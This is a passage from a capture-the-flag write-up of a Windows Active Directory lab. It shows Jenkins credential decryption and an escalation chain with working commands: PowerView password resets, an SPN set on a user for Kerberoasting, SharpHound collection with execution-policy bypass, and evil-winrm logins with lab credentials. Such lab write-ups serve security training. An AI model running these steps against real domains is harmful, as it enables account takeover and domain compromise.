class="line"&gt;&lt;span class="cl"&gt;curl -L \&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;https://github.com/hoto/jenkins-credentials-decryptor/releases/download/1.2.2/jenkins-credentials-decryptor_1.2.2_$(uname -s)_$(uname -m)&amp;#34; \&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; -o jenkins-credentials-decryptor&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;chmod +x jenkins-credentials-decryptor&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Their command uses &lt;code&gt;uname&lt;/code&gt; at the end to detect the system, so it was better to use that instead of downloading the file manually.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0655.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Same result. I checked the files several times and was certain there was nothing wrong with them.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0656.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Someone else had run into the same problem, but the author never replied.&lt;/p&gt;&#10;&lt;p&gt;I searched for the error message.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0657.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There was an explanation here. Based on the note, I could roughly understand what was happening: the file types of &lt;code&gt;hudson.util.Secret&lt;/code&gt; and &lt;code&gt;master.key&lt;/code&gt; might be wrong.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0658.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Because I copied and pasted it directly, &lt;code&gt;master.ket&lt;/code&gt; had become ASCII text. I tried to check what type it was on the target.&lt;/p&gt;&#10;&lt;p&gt;Unfortunately, after searching for a while, I could not find a Windows command that determines whether a file is binary. I decided to stick with Base64 so I would not have to worry about the file type.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0659.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;That was a complete waste of time. I went back to &lt;code&gt;config.xml&lt;/code&gt; and read it out with Base64 too, but it still did not work after decoding.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://github.com/tweksteen/jenkins-decrypt/" target="_blank" rel="noopener"&#10; &gt;https://github.com/tweksteen/jenkins-decrypt/&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;Here was another script.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0660.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0661.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;After fixing it, I ran it again and got yet another error.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0662.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Very few of the scripts I have used lately seem to work out of the box; I always have to fix them myself. This error was very clear: the function had been removed in Python 3.9. After changing it, I ran into an encoding problem. I left that alone for the time being and switched to another project.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://github.com/thesubtlety/go-decrypt-jenkins?tab=readme-ov-file" target="_blank" rel="noopener"&#10; &gt;https://github.com/thesubtlety/go-decrypt-jenkins?tab=readme-ov-file&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0663.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It told me there was something wrong with &lt;code&gt;hudson.util.Secret&lt;/code&gt;. But looking at what I had done—Base64-encode it, decode it, and write it to a file—it should have been fine. I tried again, but the result was the same. I could not take it anymore, so I checked a write-up. Its steps were exactly the same as mine, with no difference at all.&lt;/p&gt;&#10;&lt;p&gt;I even copied their import command verbatim, but it still threw an error. I started wondering whether this software only broke on my machine. I was completely out of ideas. I even considered packaging that Python 3 file, converting it to Base64, and uploading it to the target.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0664.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;But 150,000 lines was completely unrealistic.&lt;/p&gt;&#10;&lt;p&gt;After a lot of searching, I found the answer. On Kali, I habitually open files in Vim and write content into them. That was how I created &lt;code&gt;master.key&lt;/code&gt;, but doing so added one extra byte. &lt;code&gt;master.key&lt;/code&gt; should be 256 bytes. Whether I used Vim, &lt;code&gt;echo&lt;/code&gt;, or Base64 encoding and decoding, it always ended up as 257 bytes even though I definitely had not added a newline.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;wc -c master.key&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;257 master.key&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;It only became the correct 256 bytes after I pasted it into a file on Windows. I do not know why pasting it on Kali added a byte while pasting the same content on Windows gave exactly 256.&lt;/p&gt;&#10;&lt;p&gt;I moved the correct &lt;code&gt;master.key&lt;/code&gt; file from Windows back to Kali and, unsurprisingly:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0665.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0666.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Everything decrypted successfully. I had spent half the day fighting a bad file.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0667.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Adding &lt;code&gt;-n&lt;/code&gt; also solves the issue. None of the other write-ups mentioned this. I suspect the issues I saw earlier had the same cause and nobody realized it.&lt;/p&gt;&#10;&lt;p&gt;Now I had the password.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;[&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; {&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;id&amp;#34;: &amp;#34;320a60b9-1e5c-4399-8afe-44466c9cde9e&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;password&amp;#34;: &amp;#34;c1cdfun_d2434&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;username&amp;#34;: &amp;#34;oliver&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; }&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;]&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;code&gt;oliver&lt;/code&gt; had a home directory, so I could try credential reuse against WinRM.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0668.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I got in. Time for privilege escalation. Neither &lt;code&gt;whoami /priv&lt;/code&gt; nor &lt;code&gt;systeminfo&lt;/code&gt; revealed anything useful.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;cmd /c &amp;#34;netstat -ano | findstr LISTENING&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0669.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The result matched my earlier UDP scan: this was a domain controller. Time to upload SharpHound.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;upload SharpHound-v2.5.9/SharpHound.exe&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0670.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0671.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Then I downloaded the output locally.&lt;/p&gt;&#10;&lt;p&gt;Strangely, the archive clearly contained data, but I could not import it.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0672.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0673.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It would hang forever. I thought my BloodHound installation was broken, so I uploaded a ZIP I had collected previously. That one extracted and parsed successfully.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0674.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;So the file I had just collected was the problem.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://www.cnblogs.com/tysec/p/16811651.html" target="_blank" rel="noopener"&#10; &gt;https://www.cnblogs.com/tysec/p/16811651.html&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;I tried the method from this post, but that failed too.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="http://www.luckysec.cn/posts/7ebaa71c.html" target="_blank" rel="noopener"&#10; &gt;http://www.luckysec.cn/posts/7ebaa71c.html&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;This post gave me the answer, but my data collector was already the latest version, so why did it not work? BloodHound 4.0.3 was supposed to be compatible at least, so I tried that.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0675.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It was easy enough: extract it and run it.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://github.com/BloodHoundAD/BloodHound/releases" target="_blank" rel="noopener"&#10; &gt;https://github.com/BloodHoundAD/BloodHound/releases&lt;/a&gt;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;./BloodHound --no-sandbox&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0676.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Still no luck. I suspected another file issue. I rebooted Kali, but that did not help either. My only option was to check write-ups again and see whether anyone else had the same problem. Unfortunately, nobody did. One post did give me a clue, though: it was written in 2022 and used a 2022-era version of the collector. This collection step was what finally let me solve the issue. If someone runs into the same problem later, at least they will have a way around it.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://github.com/BloodHoundAD/SharpHound/releases?page=3" target="_blank" rel="noopener"&#10; &gt;https://github.com/BloodHoundAD/SharpHound/releases?page=3&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0677.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Download the earliest version and use the PS1 file inside it for collection.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;powershell -exec bypass -command &amp;#34;Import-Module ./SharpHound.ps1; Invoke-BloodHound -c all&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0678.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Then start the latest BloodHound, not version 4.0.3. Mine was:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0679.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0680.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Import the newly collected file and it works. Finally! Maybe the target domain environment was too complex? Whatever the reason, the collector kept producing bad data that BloodHound could not parse.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0681.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I used the current user as the starting point to see how to escalate privileges. It was a bit messy, so I worked through it one step at a time. &lt;code&gt;net user&lt;/code&gt; had shown me two other users.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0682.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0683.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Their exact permissions were as follows.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0684.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0685.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0686.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The path was much clearer this way: change &lt;code&gt;smith&lt;/code&gt;&amp;rsquo;s password, then control &lt;code&gt;maria&lt;/code&gt; and use her to add &lt;code&gt;smith&lt;/code&gt; to Domain Admins.&lt;/p&gt;&#10;&lt;p&gt;Here is the overall path.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0687.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;With the path mapped out, I worked through it step by step.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0688.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;First, change &lt;code&gt;smith&lt;/code&gt;&amp;rsquo;s password.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;span class="lnt"&gt;8&#10;&lt;/span&gt;&lt;span class="lnt"&gt;9&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$SecPassword = ConvertTo-SecureString &amp;#39;Password123!&amp;#39; -AsPlainText -Force&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$Cred = New-Object System.Management.Automation.PSCredential(&amp;#39;OBJECT.HTB\oliver&amp;#39;, $SecPassword)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$UserPassword = ConvertTo-SecureString &amp;#39;Password123!&amp;#39; -AsPlainText -Force&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;upload /home/kali/Desktop/bruteratel/server_confs/PowerView.ps1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;. .\PowerView.ps1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Set-DomainUserPassword -Identity smith -AccountPassword $UserPassword -Credential $Cred&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Set-DomainUserPassword -Identity smith -AccountPassword $UserPassword&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0689.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The &lt;code&gt;smith&lt;/code&gt; user seemed to have disappeared; it could not be found.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Get-DomainUser&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0690.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It did exist after all. Since I already had permission to change &lt;code&gt;smith&lt;/code&gt;&amp;rsquo;s password, I removed the credential argument at the end.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Set-DomainUserPassword -Identity smith -AccountPassword $UserPassword&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0691.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It ran without errors.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;evil-winrm -i object.htb -u smith -p Password123!&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0692.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I got in successfully. Next, I followed the help text for the next step. Again, I removed the explicit authentication because I was already &lt;code&gt;smith&lt;/code&gt;.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Set-DomainObject -Identity maria -SET @{serviceprincipalname=&amp;#39;nonexistent/BLAHBLAH&amp;#39;}&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Get-DomainSPNTicket maria | fl&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0693.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Another error. It said it could not validate the argument on the SPN parameter, which was strange. I entered it again and removed &lt;code&gt;|fl&lt;/code&gt; as well.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Set-DomainObject -Identity maria -SET @{serviceprincipalname=&amp;#39;nonexistent/BLAHBLAH11&amp;#39;}&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Get-DomainSPNTicket maria&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0694.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;This time I got a result and successfully created an SPN for &lt;code&gt;maria&lt;/code&gt;. From here, it was back to familiar territory: when an account has an SPN, I can request its TGS and crack it.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://github.com/uknowsec/Active-Directory-Pentest-Notes/blob/master/Notes/%E5%9F%9F%E6%B8%97%E9%80%8F-SPN.md" target="_blank" rel="noopener"&#10; &gt;https://github.com/uknowsec/Active-Directory-Pentest-Notes/blob/master/Notes/%E5%9F%9F%E6%B8%97%E9%80%8F-SPN.md&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;My previous work had mostly been remote pentesting. This post explained how to exploit it from inside the domain.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" 